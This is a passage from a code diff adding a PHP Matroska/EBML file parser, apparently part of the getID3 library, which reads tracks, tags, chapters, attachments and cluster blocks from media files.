+																	$this->unhandledElement('track.audio', __LINE__, $sub_subelement);
+															}
+														}
+														break;
+
+													case EBML_ID_CONTENTENCODINGS:
+
+														while ($this->getEBMLelement($sub_subelement, $subelement['end'])) {
+															switch ($sub_subelement['id']) {
+
+																case EBML_ID_CONTENTENCODING:
+
+																	while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CONTENTCOMPRESSION, EBML_ID_CONTENTENCRYPTION))) {
+																		switch ($sub_sub_subelement['id']) {
+
+																			case EBML_ID_CONTENTENCODINGORDER:
+																			case EBML_ID_CONTENTENCODINGSCOPE:
+																			case EBML_ID_CONTENTENCODINGTYPE:
+																				$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
+																				break;
+
+																			case EBML_ID_CONTENTCOMPRESSION:
+
+																				while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
+																					switch ($sub_sub_sub_subelement['id']) {
+
+																						case EBML_ID_CONTENTCOMPALGO:
+																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
+																							break;
+
+																						case EBML_ID_CONTENTCOMPSETTINGS:
+																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
+																							break;
+
+																						default:
+																							$this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement);
+																					}
+																				}
+																				break;
+
+																			case EBML_ID_CONTENTENCRYPTION:
+
+																				while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
+																					switch ($sub_sub_sub_subelement['id']) {
+
+																						case EBML_ID_CONTENTENCALGO:
+																						case EBML_ID_CONTENTSIGALGO:
+																						case EBML_ID_CONTENTSIGHASHALGO:
+																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
+																							break;
+
+																						case EBML_ID_CONTENTENCKEYID:
+																						case EBML_ID_CONTENTSIGNATURE:
+																						case EBML_ID_CONTENTSIGKEYID:
+																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
+																							break;
+
+																						default:
+																							$this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement);
+																					}
+																				}
+																				break;
+
+																			default:
+																				$this->unhandledElement('track.contentencodings.contentencoding', __LINE__, $sub_sub_subelement);
+																		}
+																	}
+																	break;
+
+																default:
+																	$this->unhandledElement('track.contentencodings', __LINE__, $sub_subelement);
+															}
+														}
+														break;
+
+													default:
+														$this->unhandledElement('track', __LINE__, $subelement);
+												}
+											}
+
+											$info['matroska']['tracks']['tracks'][] = $track_entry;
+											break;
+
+										default:
+											$this->unhandledElement('tracks', __LINE__, $track_entry);
+									}
+								}
+								break;
+
+							case EBML_ID_INFO: // Contains miscellaneous general information and statistics on the file.
+								$info_entry = array();
+
+								while ($this->getEBMLelement($subelement, $element_data['end'], true)) {
+									switch ($subelement['id']) {
+
+										case EBML_ID_TIMECODESCALE:
+											$info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
+											break;
+
+										case EBML_ID_DURATION:
+											$info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']);
+											break;
+
+										case EBML_ID_DATEUTC:
+											$info_entry[$subelement['id_name']]         = getid3_lib::BigEndian2Int($subelement['data']);
+											$info_entry[$subelement['id_name'].'_unix'] = self::EBMLdate2unix($info_entry[$subelement['id_name']]);
+											break;
+
+										case EBML_ID_SEGMENTUID:
+										case EBML_ID_PREVUID:
+										case EBML_ID_NEXTUID:
+											$info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
+											break;
+
+										case EBML_ID_SEGMENTFAMILY:
+											$info_entry[$subelement['id_name']][] = getid3_lib::trimNullByte($subelement['data']);
+											break;
+
+										case EBML_ID_SEGMENTFILENAME:
+										case EBML_ID_PREVFILENAME:
+										case EBML_ID_NEXTFILENAME:
+										case EBML_ID_TITLE:
+										case EBML_ID_MUXINGAPP:
+										case EBML_ID_WRITINGAPP:
+											$info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
+											$info['matroska']['comments'][strtolower($subelement['id_name'])][] = $info_entry[$subelement['id_name']];
+											break;
+
+										case EBML_ID_CHAPTERTRANSLATE:
+											$chaptertranslate_entry = array();
+
+											while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
+												switch ($sub_subelement['id']) {
+
+													case EBML_ID_CHAPTERTRANSLATEEDITIONUID:
+														$chaptertranslate_entry[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													case EBML_ID_CHAPTERTRANSLATECODEC:
+														$chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													case EBML_ID_CHAPTERTRANSLATEID:
+														$chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
+														break;
+
+													default:
+														$this->unhandledElement('info.chaptertranslate', __LINE__, $sub_subelement);
+												}
+											}
+											$info_entry[$subelement['id_name']] = $chaptertranslate_entry;
+											break;
+
+										default:
+											$this->unhandledElement('info', __LINE__, $subelement);
+									}
+								}
+								$info['matroska']['info'][] = $info_entry;
+								break;
+
+							case EBML_ID_CUES: // A top-level element to speed seeking access. All entries are local to the segment. Should be mandatory for non "live" streams.
+								if (self::$hide_clusters) { // do not parse cues if hide clusters is "ON" till they point to clusters anyway
+									$this->current_offset = $element_data['end'];
+									break;
+								}
+								$cues_entry = array();
+
+								while ($this->getEBMLelement($subelement, $element_data['end'])) {
+									switch ($subelement['id']) {
+
+										case EBML_ID_CUEPOINT:
+											$cuepoint_entry = array();
+
+											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CUETRACKPOSITIONS))) {
+												switch ($sub_subelement['id']) {
+
+													case EBML_ID_CUETRACKPOSITIONS:
+														$cuetrackpositions_entry = array();
+
+														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) {
+															switch ($sub_sub_subelement['id']) {
+
+																case EBML_ID_CUETRACK:
+																case EBML_ID_CUECLUSTERPOSITION:
+																case EBML_ID_CUEBLOCKNUMBER:
+																case EBML_ID_CUECODECSTATE:
+																	$cuetrackpositions_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
+																	break;
+
+																default:
+																	$this->unhandledElement('cues.cuepoint.cuetrackpositions', __LINE__, $sub_sub_subelement);
+															}
+														}
+														$cuepoint_entry[$sub_subelement['id_name']][] = $cuetrackpositions_entry;
+														break;
+
+													case EBML_ID_CUETIME:
+														$cuepoint_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													default:
+														$this->unhandledElement('cues.cuepoint', __LINE__, $sub_subelement);
+												}
+											}
+											$cues_entry[] = $cuepoint_entry;
+											break;
+
+										default:
+											$this->unhandledElement('cues', __LINE__, $subelement);
+									}
+								}
+								$info['matroska']['cues'] = $cues_entry;
+								break;
+
+							case EBML_ID_TAGS: // Element containing elements specific to Tracks/Chapters.
+								$tags_entry = array();
+
+								while ($this->getEBMLelement($subelement, $element_data['end'], false)) {
+									switch ($subelement['id']) {
+
+										case EBML_ID_TAG:
+											$tag_entry = array();
+
+											while ($this->getEBMLelement($sub_subelement, $subelement['end'], false)) {
+												switch ($sub_subelement['id']) {
+
+													case EBML_ID_TARGETS:
+														$targets_entry = array();
+
+														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) {
+															switch ($sub_sub_subelement['id']) {
+
+																case EBML_ID_TARGETTYPEVALUE:
+																	$targets_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
+																	$targets_entry[strtolower($sub_sub_subelement['id_name']).'_long'] = self::TargetTypeValue($targets_entry[$sub_sub_subelement['id_name']]);
+																	break;
+
+																case EBML_ID_TARGETTYPE:
+																	$targets_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data'];
+																	break;
+
+																case EBML_ID_TAGTRACKUID:
+																case EBML_ID_TAGEDITIONUID:
+																case EBML_ID_TAGCHAPTERUID:
+																case EBML_ID_TAGATTACHMENTUID:
+																	$targets_entry[$sub_sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
+																	break;
+
+																default:
+																	$this->unhandledElement('tags.tag.targets', __LINE__, $sub_sub_subelement);
+															}
+														}
+														$tag_entry[$sub_subelement['id_name']] = $targets_entry;
+														break;
+
+													case EBML_ID_SIMPLETAG:
+														$tag_entry[$sub_subelement['id_name']][] = $this->HandleEMBLSimpleTag($sub_subelement['end']);
+														break;
+
+													default:
+														$this->unhandledElement('tags.tag', __LINE__, $sub_subelement);
+												}
+											}
+											$tags_entry[] = $tag_entry;
+											break;
+
+										default:
+											$this->unhandledElement('tags', __LINE__, $subelement);
+									}
+								}
+								$info['matroska']['tags'] = $tags_entry;
+								break;
+
+							case EBML_ID_ATTACHMENTS: // Contain attached files.
+
+								while ($this->getEBMLelement($subelement, $element_data['end'])) {
+									switch ($subelement['id']) {
+
+										case EBML_ID_ATTACHEDFILE:
+											$attachedfile_entry = array();
+
+											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_FILEDATA))) {
+												switch ($sub_subelement['id']) {
+
+													case EBML_ID_FILEDESCRIPTION:
+													case EBML_ID_FILENAME:
+													case EBML_ID_FILEMIMETYPE:
+														$attachedfile_entry[$sub_subelement['id_name']] = $sub_subelement['data'];
+														break;
+
+													case EBML_ID_FILEDATA:
+														$attachedfile_entry['data_offset'] = $this->current_offset;
+														$attachedfile_entry['data_length'] = $sub_subelement['length'];
+
+														$attachedfile_entry[$sub_subelement['id_name']] = $this->saveAttachment(
+															$attachedfile_entry['FileName'],
+															$attachedfile_entry['data_offset'],
+															$attachedfile_entry['data_length']);
+
+														$this->current_offset = $sub_subelement['end'];
+														break;
+
+													case EBML_ID_FILEUID:
+														$attachedfile_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													default:
+														$this->unhandledElement('attachments.attachedfile', __LINE__, $sub_subelement);
+												}
+											}
+											$info['matroska']['attachments'][] = $attachedfile_entry;
+											break;
+
+										default:
+											$this->unhandledElement('attachments', __LINE__, $subelement);
+									}
+								}
+								break;
+
+							case EBML_ID_CHAPTERS:
+
+								while ($this->getEBMLelement($subelement, $element_data['end'])) {
+									switch ($subelement['id']) {
+
+										case EBML_ID_EDITIONENTRY:
+											$editionentry_entry = array();
+
+											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CHAPTERATOM))) {
+												switch ($sub_subelement['id']) {
+
+													case EBML_ID_EDITIONUID:
+														$editionentry_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													case EBML_ID_EDITIONFLAGHIDDEN:
+													case EBML_ID_EDITIONFLAGDEFAULT:
+													case EBML_ID_EDITIONFLAGORDERED:
+														$editionentry_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													case EBML_ID_CHAPTERATOM:
+														$chapteratom_entry = array();
+
+														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CHAPTERTRACK, EBML_ID_CHAPTERDISPLAY))) {
+															switch ($sub_sub_subelement['id']) {
+
+																case EBML_ID_CHAPTERSEGMENTUID:
+																case EBML_ID_CHAPTERSEGMENTEDITIONUID:
+																	$chapteratom_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data'];
+																	break;
+
+																case EBML_ID_CHAPTERFLAGENABLED:
+																case EBML_ID_CHAPTERFLAGHIDDEN:
+																	$chapteratom_entry[$sub_sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
+																	break;
+
+																case EBML_ID_CHAPTERUID:
+																case EBML_ID_CHAPTERTIMESTART:
+																case EBML_ID_CHAPTERTIMEEND:
+																	$chapteratom_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
+																	break;
+
+																case EBML_ID_CHAPTERTRACK:
+																	$chaptertrack_entry = array();
+
+																	while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
+																		switch ($sub_sub_sub_subelement['id']) {
+
+																			case EBML_ID_CHAPTERTRACKNUMBER:
+																				$chaptertrack_entry[$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
+																				break;
+
+																			default:
+																				$this->unhandledElement('chapters.editionentry.chapteratom.chaptertrack', __LINE__, $sub_sub_sub_subelement);
+																		}
+																	}
+																	$chapteratom_entry[$sub_sub_subelement['id_name']][] = $chaptertrack_entry;
+																	break;
+
+																case EBML_ID_CHAPTERDISPLAY:
+																	$chapterdisplay_entry = array();
+
+																	while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
+																		switch ($sub_sub_sub_subelement['id']) {
+
+																			case EBML_ID_CHAPSTRING:
+																			case EBML_ID_CHAPLANGUAGE:
+																			case EBML_ID_CHAPCOUNTRY:
+																				$chapterdisplay_entry[$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
+																				break;
+
+																			default:
+																				$this->unhandledElement('chapters.editionentry.chapteratom.chapterdisplay', __LINE__, $sub_sub_sub_subelement);
+																		}
+																	}
+																	$chapteratom_entry[$sub_sub_subelement['id_name']][] = $chapterdisplay_entry;
+																	break;
+
+																default:
+																	$this->unhandledElement('chapters.editionentry.chapteratom', __LINE__, $sub_sub_subelement);
+															}
+														}
+														$editionentry_entry[$sub_subelement['id_name']][] = $chapteratom_entry;
+														break;
+
+													default:
+														$this->unhandledElement('chapters.editionentry', __LINE__, $sub_subelement);
+												}
+											}
+											$info['matroska']['chapters'][] = $editionentry_entry;
+											break;
+
+										default:
+											$this->unhandledElement('chapters', __LINE__, $subelement);
+									}
+								}
+								break;
+
+							case EBML_ID_CLUSTER: // The lower level element containing the (monolithic) Block structure.
+								$cluster_entry = array();
+
+								while ($this->getEBMLelement($subelement, $element_data['end'], array(EBML_ID_CLUSTERSILENTTRACKS, EBML_ID_CLUSTERBLOCKGROUP, EBML_ID_CLUSTERSIMPLEBLOCK))) {
+									switch ($subelement['id']) {
+
+										case EBML_ID_CLUSTERTIMECODE:
+										case EBML_ID_CLUSTERPOSITION:
+										case EBML_ID_CLUSTERPREVSIZE:
+											$cluster_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
+											break;
+
+										case EBML_ID_CLUSTERSILENTTRACKS:
+											$cluster_silent_tracks = array();
+
+											while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
+												switch ($sub_subelement['id']) {
+
+													case EBML_ID_CLUSTERSILENTTRACKNUMBER:
+														$cluster_silent_tracks[] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													default:
+														$this->unhandledElement('cluster.silenttracks', __LINE__, $sub_subelement);
+												}
+											}
+											$cluster_entry[$subelement['id_name']][] = $cluster_silent_tracks;
+											break;
+
+										case EBML_ID_CLUSTERBLOCKGROUP:
+											$cluster_block_group = array('offset' => $this->current_offset);
+
+											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CLUSTERBLOCK))) {
+												switch ($sub_subelement['id']) {
+
+													case EBML_ID_CLUSTERBLOCK:
+														$cluster_block_group[$sub_subelement['id_name']] = $this->HandleEMBLClusterBlock($sub_subelement, EBML_ID_CLUSTERBLOCK, $info);
+														break;
+
+													case EBML_ID_CLUSTERREFERENCEPRIORITY: // unsigned-int
+													case EBML_ID_CLUSTERBLOCKDURATION:     // unsigned-int
+														$cluster_block_group[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													case EBML_ID_CLUSTERREFERENCEBLOCK:    // signed-int
+														$cluster_block_group[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data'], false, true);
+														break;
+
+													case EBML_ID_CLUSTERCODECSTATE:
+														$cluster_block_group[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
+														break;
+
+													default:
+														$this->unhandledElement('clusters.blockgroup', __LINE__, $sub_subelement);
+												}
+											}
+											$cluster_entry[$subelement['id_name']][] = $cluster_block_group;
+											break;
+
+										case EBML_ID_CLUSTERSIMPLEBLOCK:
+											$cluster_entry[$subelement['id_name']][] = $this->HandleEMBLClusterBlock($subelement, EBML_ID_CLUSTERSIMPLEBLOCK, $info);
+											break;
+
+										default:
+											$this->unhandledElement('cluster', __LINE__, $subelement);
+									}
+									$this->current_offset = $subelement['end'];
+								}
+								if (!self::$hide_clusters) {
+									$info['matroska']['cluster'][] = $cluster_entry;
+								}
+
+								// check to see if all the data we need exists already, if so, break out of the loop
+								if (!self::$parse_whole_file) {
+									if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) {
+										if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) {
+											if (count($info['matroska']['track_data_offsets']) == count($info['matroska']['tracks']['tracks'])) {
+												return;
+											}
+										}
+									}
+								}
+								break;
+
+							default:
+								$this->unhandledElement('segment', __LINE__, $element_data);
+						}
+					}
+					break;
+
+				default:
+					$this->unhandledElement('root', __LINE__, $top_element);
+			}
+		}
+	}
+
+	private function EnsureBufferHasEnoughData($min_data=1024) {
+		if (($this->current_offset - $this->EBMLbuffer_offset) >= ($this->EBMLbuffer_length - $min_data)) {
+			$read_bytes = max($min_data, $this->getid3->fread_buffer_size());
+
+			try {
+				$this->fseek($this->current_offset);
+				$this->EBMLbuffer_offset = $this->current_offset;
+				$this->EBMLbuffer        = $this->fread($read_bytes);
+				$this->EBMLbuffer_length = strlen($this->EBMLbuffer);
+			} catch (getid3_exception $e) {
+				$this->warning('EBML parser: '.$e->getMessage());
+				return false;
+			}
+
+			if ($this->EBMLbuffer_length == 0 && $this->feof()) {
+				return $this->error('EBML parser: ran out of file at offset '.$this->current_offset);
+			}
+		}
+		return true;
+	}
+
+	private function readEBMLint() {
+		$actual_offset = $this->current_offset - $this->EBMLbuffer_offset;
+
+		// get length of integer
+		$first_byte_int = ord($this->EBMLbuffer[$actual_offset]);
+		if       (0x80 & $first_byte_int) {
+			$length = 1;
+		} elseif (0x40 & $first_byte_int) {
+			$length = 2;
+		} elseif (0x20 & $first_byte_int) {
+			$length = 3;
+		} elseif (0x10 & $first_byte_int) {
+			$length = 4;
+		} elseif (0x08 & $first_byte_int) {
+			$length = 5;
+		} elseif (0x04 & $first_byte_int) {
+			$length = 6;
+		} elseif (0x02 & $first_byte_int) {
+			$length = 7;
+		} elseif (0x01 & $first_byte_int) {
+			$length = 8;
+		} else {
+			throw new Exception('invalid EBML integer (leading 0x00) at '.$this->current_offset);
+		}
+
+		// read
+		$int_value = self::EBML2Int(substr($this->EBMLbuffer, $actual_offset, $length));
+		$this->current_offset += $length;
+
+		return $int_value;
+	}
+
+	private function readEBMLelementData($length, $check_buffer=false) {
+		if ($check_buffer && !$this->EnsureBufferHasEnoughData($length)) {
+			return false;
+		}
+		$data = substr($this->EBMLbuffer, $this->current_offset - $this->EBMLbuffer_offset, $length);
+		$this->current_offset += $length;
+		return $data;
+	}
+
+	private function getEBMLelement(&$element, $parent_end, $get_data=false) {
+		if ($this->current_offset >= $parent_end) {
+			return false;
+		}
+
+		if (!$this->EnsureBufferHasEnoughData()) {
+			$this->current_offset = PHP_INT_MAX; // do not exit parser right now, allow to finish current loop to gather maximum information
+			return false;
+		}
+
+		$element = array();
+
+		// set offset
+		$element['offset'] = $this->current_offset;
+
+		// get ID
+		$element['id'] = $this->readEBMLint();
+
+		// get name
+		$element['id_name'] = self::EBMLidName($element['id']);
+
+		// get length
+		$element['length'] = $this->readEBMLint();
+
+		// get end offset
+		$element['end'] = $this->current_offset + $element['length'];
+
+		// get raw data
+		$dont_parse = (in_array($element['id'], $this->unuseful_elements) || $element['id_name'] == dechex($element['id']));
+		if (($get_data === true || (is_array($get_data) && !in_array($element['id'], $get_data))) && !$dont_parse) {
+			$element['data'] = $this->readEBMLelementData($element['length'], $element);
+		}
+
+		return true;
+	}
+
+	private function unhandledElement($type, $line, $element) {
+		// warn only about unknown and missed elements, not about unuseful
+		if (!in_array($element['id'], $this->unuseful_elements)) {
+			$this->warning('Unhandled '.$type.' element ['.basename(__FILE__).':'.$line.'] ('.$element['id'].'::'.$element['id_name'].' ['.$element['length'].' bytes]) at '.$element['offset']);
+		}
+
+		// increase offset for unparsed elements
+		if (!isset($element['data'])) {
+			$this->current_offset = $element['end'];
+		}
+	}
+
+	private function ExtractCommentsSimpleTag($SimpleTagArray) {
+		if (!empty($SimpleTagArray['SimpleTag'])) {
+			foreach ($SimpleTagArray['SimpleTag'] as $SimpleTagKey => $SimpleTagData) {
+				if (!empty($SimpleTagData['TagName']) && !empty($SimpleTagData['TagString'])) {
+					$this->getid3->info['matroska']['comments'][strtolower($SimpleTagData['TagName'])][] = $SimpleTagData['TagString'];
+				}
+				if (!empty($SimpleTagData['SimpleTag'])) {
+					$this->ExtractCommentsSimpleTag($SimpleTagData);
+				}
+			}
+		}
+
+		return true;
+	}
+
+	private function HandleEMBLSimpleTag($parent_end) {
+		$simpletag_entry = array();
+
+		while ($this->getEBMLelement($element, $parent_end, array(EBML_ID_SIMPLETAG))) {
+			switch ($element['id']) {
+
+				case EBML_ID_TAGNAME:
+				case EBML_ID_TAGLANGUAGE:
+				case EBML_ID_TAGSTRING:
+				case EBML_ID_TAGBINARY:
+					$simpletag_entry[$element['id_name']] = $element['data'];
+					break;
+
+				case EBML_ID_SIMPLETAG:
+					$simpletag_entry[$element['id_name']][] = $this->HandleEMBLSimpleTag($element['end']);
+					break;
+
+				case EBML_ID_TAGDEFAULT:
+					$simpletag_entry[$element['id_name']] = (bool)getid3_lib::BigEndian2Int($element['data']);
+					break;
+
+				default:
+					$this->unhandledElement('tag.simpletag', __LINE__, $element);
+			}
+		}
+
+		return $simpletag_entry;
+	}
+
+	private function HandleEMBLClusterBlock($element, $block_type, &$info) {
+		// http://www.matroska.org/technical/specs/index.html#block_structure
+		// http://www.matroska.org/technical/specs/index.html#simpleblock_structure
+
+		$block_data = array();
+		$block_data['tracknumber'] = $this->readEBMLint();
+		$block_data['timecode']    = getid3_lib::BigEndian2Int($this->readEBMLelementData(2), false, true);
+		$block_data['flags_raw']   = getid3_lib::BigEndian2Int($this->readEBMLelementData(1));
+
+		if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) {
+			$block_data['flags']['keyframe']  = (($block_data['flags_raw'] & 0x80) >> 7);
+			//$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0x70) >> 4);
+		}
+		else {
+			//$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0xF0) >> 4);
+		}
+		$block_data['flags']['invisible'] = (bool)(($block_data['flags_raw'] & 0x08) >> 3);
+		$block_data['flags']['lacing']    =       (($block_data['flags_raw'] & 0x06) >> 1);  // 00=no lacing; 01=Xiph lacing; 11=EBML lacing; 10=fixed-size lacing
+		if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) {
+			$block_data['flags']['discardable'] = (($block_data['flags_raw'] & 0x01));
+		}
+		else {
+			//$block_data['flags']['reserved2'] = (($block_data['flags_raw'] & 0x01) >> 0);
+		}
+		$block_data['flags']['lacing_type'] = self::BlockLacingType($block_data['flags']['lacing']);
+
+		// Lace (when lacing bit is set)
+		if ($block_data['flags']['lacing'] > 0) {
+			$block_data['lace_frames'] = getid3_lib::BigEndian2Int($this->readEBMLelementData(1)) + 1; // Number of frames in the lace-1 (uint8)
+			if ($block_data['flags']['lacing'] != 0x02) {
+				for ($i = 1; $i < $block_data['lace_frames']; $i ++) { // Lace-coded size of each frame of the lace, except for the last one (multiple uint8). *This is not used with Fixed-size lacing as it is calculated automatically from (total size of lace) / (number of frames in lace).
+					if ($block_data['flags']['lacing'] == 0x03) { // EBML lacing
+						$block_data['lace_frames_size'][$i] = $this->readEBMLint(); // TODO: read size correctly, calc size for the last frame. For now offsets are deteminded OK with readEBMLint() and that's the most important thing.
+					}
+					else { // Xiph lacing
+						$block_data['lace_frames_size'][$i] = 0;
+						do {
+							$size = getid3_lib::BigEndian2Int($this->readEBMLelementData(1));
+							$block_data['lace_frames_size'][$i] += $size;
+						}
+						while ($size == 255);
+					}
+				}
+				if ($block_data['flags']['lacing'] == 0x01) { // calc size of the last frame only for Xiph lacing, till EBML sizes are now anyway determined incorrectly
+					$block_data['lace_frames_size'][] = $element['end'] - $this->current_offset - array_sum($block_data['lace_frames_size']);
+				}
+			}
+		}
+
+		if (!isset($info['matroska']['track_data_offsets'][$block_data['tracknumber']])) {
+			$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['offset'] = $this->current_offset;
+			$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length'] = $element['end'] - $this->current_offset;
+			//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] = 0;
+		}
+		//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] += $info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length'];
+		//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['duration']      = $block_data['timecode'] * ((isset($info['matroska']['info'][0]['TimecodeScale']) ? $info['matroska']['info'][0]['TimecodeScale'] : 1000000) / 1000000000);
+
+		// set offset manually
+		$this->current_offset = $element['end'];
+
+		return $block_data;
+	}
+
+	private static function EBML2Int($EBMLstring) {
+		// http://matroska.org/specs/
+
+		// Element ID coded with an UTF-8 like system:
+		// 1xxx xxxx                                  - Class A IDs (2^7 -2 possible values) (base 0x8X)
+		// 01xx xxxx  xxxx xxxx                       - Class B IDs (2^14-2 possible values) (base 0x4X 0xXX)
+		// 001x xxxx  xxxx xxxx  xxxx xxxx            - Class C IDs (2^21-2 possible values) (base 0x2X 0xXX 0xXX)
+		// 0001 xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx - Class D IDs (2^28-2 possible values) (base 0x1X 0xXX 0xXX 0xXX)
+		// Values with all x at 0 and 1 are reserved (hence the -2).
+
+		// Data size, in octets, is also coded with an UTF-8 like system :
+		// 1xxx xxxx                                                                              - value 0 to  2^7-2
+		// 01xx xxxx  xxxx xxxx                                                                   - value 0 to 2^14-2
+		// 001x xxxx  xxxx xxxx  xxxx xxxx                                                        - value 0 to 2^21-2
+		// 0001 xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                                             - value 0 to 2^28-2
+		// 0000 1xxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                                  - value 0 to 2^35-2
+		// 0000 01xx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                       - value 0 to 2^42-2
+		// 0000 001x  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx            - value 0 to 2^49-2
+		// 0000 0001  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx - value 0 to 2^56-2
+
+		$first_byte_int = ord($EBMLstring[0]);
+		if (0x80 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x7F);
+		} elseif (0x40 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x3F);
+		} elseif (0x20 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x1F);
+		} elseif (0x10 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x0F);
+		} elseif (0x08 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x07);
+		} elseif (0x04 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x03);
+		} elseif (0x02 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x01);
+		} elseif (0x01 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x00);
+		}
+
+		return getid3_lib::BigEndian2Int($EBMLstring);
+	}
+
+	private static function EBMLdate2unix($EBMLdatestamp) {
+		// Date - signed 8 octets integer in nanoseconds with 0 indicating the precise beginning of the millennium (at 2001-01-01T00:00:00,000000000 UTC)
+		// 978307200 == mktime(0, 0, 0, 1, 1, 2001) == January 1, 2001 12:00:00am UTC
+		return round(($EBMLdatestamp / 1000000000) + 978307200);
+	}
+
+	public static function TargetTypeValue($target_type) {
+		// http://www.matroska.org/technical/specs/tagging/index.html
+		static $TargetTypeValue = array();
+		if (empty($TargetTypeValue)) {
+			$TargetTypeValue[10] = 'A: ~ V:shot';                                           // the lowest hierarchy found in music or movies
+			$TargetTypeValue[20] = 'A:subtrack/part/movement ~ V:scene';                    // corresponds to parts of a track for audio (like a movement)
+			$TargetTypeValue[30] = 'A:track/song ~ V:chapter';                              // the common parts of an album or a movie
+			$TargetTypeValue[40] = 'A:part/session ~ V:part/session';                       // when an album or episode has different logical parts
+			$TargetTypeValue[50] = 'A:album/opera/concert ~ V:movie/episode/concert';       // the most common grouping level of music and video (equals to an episode for TV series)
